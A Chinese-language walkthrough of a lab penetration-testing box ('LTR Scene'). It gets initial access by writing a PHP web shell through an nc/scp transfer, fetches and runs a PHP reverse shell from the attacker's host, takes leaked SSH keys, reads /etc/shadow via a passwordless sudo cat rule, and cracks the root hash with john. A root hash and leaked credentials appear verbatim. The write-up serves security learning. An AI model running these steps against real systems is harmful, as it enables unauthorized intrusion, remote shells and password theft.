LTR Scene(php写入一句话+sudoer提权)

以前的步骤经常看到一个感兴趣的点,然后就一直死磕ORZ

发现登陆页面,就开始尝试检查弱密码 实际上如果检查到备份文件泄露,很快就可以突破登陆表单。

发现backup文件下载,从猜测直接跳到尝试,步骤错了。。

所以踩点这一步的确没有做好。


踩点

1
2
3
4
21/tcp    open   ftp        ProFTPD 1.3.1 Server
22/tcp    open   ssh        OpenSSH 5.1 (protocol 1.99)
80/tcp    open   http       Apache httpd 2.2.13 ((Unix) DAV/2 PHP/5.2.10)
Linux 2.6.X

第一点,不要相信任何扫描结果。

80:

http://192.168.2.120/logs/ 403 http://192.168.2.120/cgi-bin/ 403

  • info1:
    1
    2
    index.php
    <!-- username:logs password:zg]E-b0]+8:(58G -->
    
  • info2:
    1
    2
    一个邮箱dev@21ltr.com
    源码发现了一个口令,经过尝试确认ftp口令可以登录。
    

21:

info2: 检查过匿名登陆

  • 下载了一个php文件 1 lcd /root/Desktop get backup_log.php
  • ftp权限可读不可写
    1
    2
    3
    4
    lcd /root/Desktop
    put
    a.php(上传本地a.php)
    a.php(把选中的文件,以a.php写入服务器)
    

    2

  • 看来只能检查这个php脚本了。
    1
    <?php $log = time(); echo '<center><b>GMT time is: '.gmdate('r', $log).'</b></center>'; ?>          
    

    3 该脚本的作用:生成现在的时间戳,然后记录下发生错误的记录。 没有任何提权思路。

22 ssh:

exp

1
2
python 45233.py --port 22 --username logs 192.168.2.120
logs is not a valid user!

10001: scp

一开始发现了10001开放,可是具体去扫描的时候,又关闭了,所以以为是误报。 4 5


首先将kali改为192.168.2.240,ftp泄露的log提示。 scp会将文件发送到这个ip。

第二步建立一个文本文件,写入一句话。 <?php system($_GET['cmd']) ?>

第三步执行监听。

1
nc -nvlp 10000 > file.gz && nc -nv 192.168.2.120 10001 < text  

分为两条命令,第一条,监听本地10000端口,如果有连接进来,就发送到file.gz。第二条,将text文件发送到指定ip和端口。

注意:&& 和 ;的区别(linux shell) &&正确执行完第一条,才执行第二条。 ; 分别执行,命令之间不相关。

第四步,稍等一会儿nc显示,靶机连进来了==,并传递了一个备份文件。 在这里,我检查过backup_log.php,确认没有漏洞。但是居然可以利用scp写入system函数,让这个文件可以执行命令!真的出乎意料。 6


接下来就简单了,以前学过

info: /var/www/htdocs/logs Linux slax 2.6.27.27

准备php反弹shell脚本。

1
2
kali: python -m SimpleHTTPServer 888
		nc -lnvp 1234

cd /tmp;wget http://192.168.2.240:888/php-reverse-shell.php;chmod +x php-reverse-shell.php;./php-reverse-shell.php 7

现在是apache用户


查找ssh密钥 find . -name “id_rsa” 2> /dev/null 8

1
2
3
4
5
./mnt/live/mnt/hdc/slax/rootcopy/media/USB_1/Stuff/Keys/id_rsa           root root 1675 Jan  5  2008 
./mnt/live/memory/changes/media/USB_1/Stuff/Keys/id_rsa
./mnt/hdc/slax/rootcopy/media/USB_1/Stuff/Keys/id_rsa
./media/USB_1/Stuff/Keys/id_rsa
root root 1675 Jan  5  2008

尝试后,以hbeale用户登陆

1
2
chmod 600 key
ssh -i key hbeale@192.168.2.120  

现在是普通用户权限


sudo权限错误

以前遇到过关于sudo权限的 target

visudo

以root用户运行visudo命令,可以修改/etc/sudoers。

1
2
3
`# User privilege specification`
root ALL=(ALL) ALL
xx ALL=(ALL) ALL

如果sudoers文件中,有上述代码。说明xx用户可以用sudo执行任何命令(以root权限)

sudoers文件只有root账号才能查看并且修改。

sudo -l

用户hbeale执行该命令,查看sudoers权限。

1
2
3
4
User hbeale may run the following commands on this host:  
    (root) NOEXEC: /bin/ls, (root) /usr/bin/cat, (root) /usr/bin/more, (root)  
    !/usr/bin/su *root*  
    (root) NOPASSWD: /usr/bin/cat  

最后一行NOPASSWD,说明sudo命令运行/usr/bin/cat的时候,不需要输入密码。

于是sudo cat /etc/shadow 获取到了root加密的口令 $1$VW5E9DmD$deoML8uqU/4HaTmNmfM7G1


破解/etc/shadow

将口令写入pass.txt

john –wordlists=/usr/share/wordlists/rockyou.txt pass.txt

1

su root,提权成功。